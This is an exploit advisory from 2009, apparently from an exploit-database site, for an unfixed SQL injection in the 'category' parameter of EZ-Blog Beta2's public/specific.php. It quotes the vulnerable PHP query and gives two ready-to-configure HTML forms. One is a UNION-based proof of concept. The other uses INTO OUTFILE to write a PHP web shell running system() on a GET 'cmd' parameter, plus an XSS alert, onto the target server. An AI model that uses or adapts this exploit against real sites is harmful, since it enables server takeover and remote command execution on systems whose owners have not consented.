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EZ-Blog Beta2 (category) Remote SQL Injection Vulnerability

Author
YEnH4ckEr
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5105
Category
web applications
Date add
26-04-2009
Platform
unsorted
===========================================================
EZ-Blog Beta2 (category) Remote SQL Injection Vulnerability
===========================================================


----------------------------------------------------------------------------------------------
|       	   	    	  SQL INJECTION VULNERABILITY		             	     |
|--------------------------------------------------------------------------------------------|
|                         	| 	  EZ-blog Beta2        |		 	     |
|  CMS INFORMATION:		 ------------------------------			             |
|										             |
|-->WEB: http://sourceforge.net/projects/ez-blog/          				     |
|-->DOWNLOAD: http://sourceforge.net/projects/ez-blog/            	                     |
|-->DEMO: N/A										     |
|-->CATEGORY: CMS / Blogging								     |
|-->DESCRIPTION: EZ-Blog is an open-source blog program written in PHP.       	             |
|		Presently, only MySQL is supported, but a PostgreSQL version is planned.     |
|-->RELEASED: 2009-04-26								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3						                     |
|-->DORK: N/A									             |
|-->CATEGORY: SQL INJECTION (SHELL UPLOAD)					             |
|-->AFFECT VERSION: <=1 Beta2						 		     |
|-->Discovered Bug date: 2009-04-26							     |
|-->Reported Bug date: 2009-04-27							     |
|-->Fixed bug date: Not fixed								     |
|-->Info patch: Not fixed							             |
|-->Author: YEnH4ckEr									     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
----------------------------------------------------------------------------------------------


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-------
INTRO:
-------


An exploit was published by drosophila with Multiple SQL Injection in EZ-blog Beta-1, 
they've (apparently) fixed it but the system is still vulnerable.


Source: http://www.milw0rm.com/exploits/8128


-----------
FILE VULN:
-----------

Path --> [HOME_PATH]/public/specific.php

...

$whichcategory = Trim($_POST['category']);

...
	if ($whichcategory=='All'){
		$query  = "SELECT * FROM content ORDER BY id DESC";	
	}else{
		$query  = "SELECT * FROM content WHERE  topic ='" . $whichcategory . "' ORDER BY id DESC";
	}	
	$result = mysql_query($query);
...


------------------
PROOF OF CONCEPT:
------------------

Copy and save --> PoC.html.
Configure --> HOST, HOME_PATH

<html>
<title>
PoC BY Y3NH4CK3R --PROUD TO BE SPANISH-->
</title>
<h1>
Click "Execute PoC" to launch the proof of concept (SQLi)...
</h1>
<body bgcolor=#000000 text=#ffffff>
<form method="post" action="http:[HOST]/[HOME_PATH]/public/specific.php">
<input type="hidden" name="category" value="-1' union all select version(),version(),version(),version(),version(),version(),version(),version()/*">
<input name="submit" value="Execute PoC" type="submit">
</form>
<br>
<br>
<h2>
<font color=#ff0000>
BY y3nh4ck3r. Contact: y3nh4ck3r@gmail.com
</font>
</h2>
</body>
</html>


------------------------
EXPLOIT (SHELL UPLOAD):
------------------------

This aplication hasn't admin authentication using DB, ie, admin panel uses .htaccess file. 
This is a complete exploit: SQL Injection --> Shell Upload, and XSS...all in one ;)

Copy and save --> exploit.html.
Configure --> HOST, HOME_PATH and COMPLETE-PATH.


<html>
<title>
PoC BY Y3NH4CK3R --PROUD TO BE SPANISH-->
</title>
<h1>
Click "Upload shell" to launch the exploit (SQLi)...
</h1>
<body bgcolor=#000000 text=#ffffff>
<form method="post" action="http://[HOST]/[HOME_PATH]/public/specific.php">
<input type="hidden" name="category" value="-1' union all select '<HTML><title>SHELL BY --Y3NH4CK3R--></title><body text=#ffffff bgcolor=#000000><center><h1>','YOUR SHELL IS ON!<br></h1></center><br><br>','<font color=#ff0000><h2>Get var (cmd) to execute comands. Enjoy it!</h2></font>','<script>alert(String.fromCharCode(67,111,109,109,97,110,100,32,101,120,101,99,117,116,101,100,33))</script>','<h3>Command Result:</h3>','<?php system($_GET[cmd]); ?>','<br><br><font color=#ff0000><h3>By y3nh4ck3r. Contact: y3nh4ck3r@gmail.com</h3></font></body>','</HTML>' INTO OUTFILE '[COMPLETE-PATH]/public/shell.php'/*">
<input name="submit" value="Upload shell" type="submit">
</form><br>
<h3>
Your shell in "http://[HOST]/[HOME_PATH]/public/shell.php"
</h3>
<br>
<h2>
<font color=#ff0000>
BY y3nh4ck3r. Contact: y3nh4ck3r@gmail.com
</font>
</h2>
</body>
</html>


Your shell in --> http://[HOST]/[HOME_PATH]/public/shell.php




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